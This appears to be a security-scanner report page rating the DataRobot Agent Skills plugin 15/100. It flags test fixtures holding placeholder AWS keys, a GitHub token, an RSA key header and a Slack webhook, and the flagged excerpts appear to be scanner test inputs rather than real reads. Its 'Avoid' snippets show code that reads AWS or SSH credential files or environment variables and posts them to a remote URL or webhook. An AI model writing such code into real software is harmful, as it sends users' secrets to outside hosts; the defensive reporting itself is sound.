Datarobot Agent Skills— plugin

Datarobot Agent Skills — independently scanned and version-tracked by SaferSkills.

by datarobot-oss·Plugin·github.com/datarobot-oss/datarobot-agent-skills
Review on GitHub →

Is Datarobot Agent Skills safe to install?

SaferSkills independently audited Datarobot Agent Skills (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 5 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
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Re-scan~30s
Latest scan
ScannedJun 23, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 5 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 5 flagged

Securityscore 0 · 5 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/integration/test_gap_analysis_scanners.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ('AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/integration/test_gap_analysis_scanners.py· python
2211'DB_PASSWORD = "Xk9#mP2vL8qR4tWn"': "Xk9#mP2vL8qR4tWn",
2212'STRIPE_API_KEY = "pk_notreal_Q7x!K2eZvY9o2C9aB3Xy7Lm"': "pk_notreal_Q7x!K2eZvY9o2C9aB3Xy7Lm
… (2 chars elided on L2212)
2213'AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYzz1234"': "wJalrXUtnFEMI/K7MDENG/bPx
… (13 chars elided on L2213)
2214"DB_PASSWORD=Xk9#mP2vL8qR4tWn": "Xk9#mP2vL8qR4tWn",
2215"db_password: Xk9#mP2vL8qR4tWn": "Xk9#mP2vL8qR4tWn",
Occurrences
2 occurrences · first at L2213, also L2227
Show all 2 locations
Line
File
L2213
tests/integration/test_gap_analysis_scanners.py
L2227
tests/integration/test_gap_analysis_scanners.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761e…rubric 365aacaView on GitHub
CRITICALContains a committed GitHub tokenSS-PLUGIN-SECRET-EXFIL-GH-TOKEN-01 · Credential exfiltration · tests/integration/test_gap_analysis_scanners.py
CRITICAL — a committed token is exposed the moment it lands on a public repo — the credential is leaked outright, not merely at risk.
Why it matters

A GitHub token (('token = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef1…) is committed directly into this plugin's source. Anyone who reads the repo — including everyone who installs the plugin — gets the token, so it must be treated as already compromised.

The exact value spotted
excerpttests/integration/test_gap_analysis_scanners.py· python
604('api_key = "NDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkw"', True),
605('secret = "3f9a8c7b6d5e4f3a2b1c0d9e8f7a6b5c"', True),
606('token = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef1234"', True),
607],
608)
Occurrences
1 occurrence · at L606
How to fix
Revoke the leaked token immediately, then remove it from the code and from Git history.
  1. Revoke the token in GitHub settings now — anything pushed is already public.
  2. Delete it from the source and purge it from history; load credentials at runtime from the environment or a secrets store instead.
AvoidGITHUB_TOKEN = "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
Safer pattern# never commit the token; read it at runtime from the environment GITHUB_TOKEN = os.environ["GITHUB_TOKEN"]
Framework references
OWASPLLM02ATLASAML.T0025CWE-798
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-GH-TOKEN-01sha256edc439282b0de94f…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/integration/test_skill_checks.py
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (("-----BEGIN RSA PRIVATE KEY-----", "private key…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/integration/test_skill_checks.py· python
124("host = 192.168.1.5", "private IP address"),
125("host = 172.16.0.9", "private IP address"),
126("-----BEGIN RSA PRIVATE KEY-----", "private key"),
127("key = AKIAABCDEFGHIJKLMNOP", "AWS access key id"),
128('api_key = "abcd1234efgh5678ijkl"', "hardcoded credential"),
Occurrences
1 occurrence · at L126
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256d4c78a76431cc26e…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/integration/test_skill_checks.py
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL ("https://hooks.slack.com/services/T000/B000/xxxx…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/integration/test_skill_checks.py· python
202[
203"https://your-company.atlassian.net/browse/X-1",
204"https://hooks.slack.com/services/T000/B000/xxxx",
205"write to [email protected]",
206"api_token = read_credentials(target_dir)",
Occurrences
1 occurrence · at L204
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha2564029a579730143b9…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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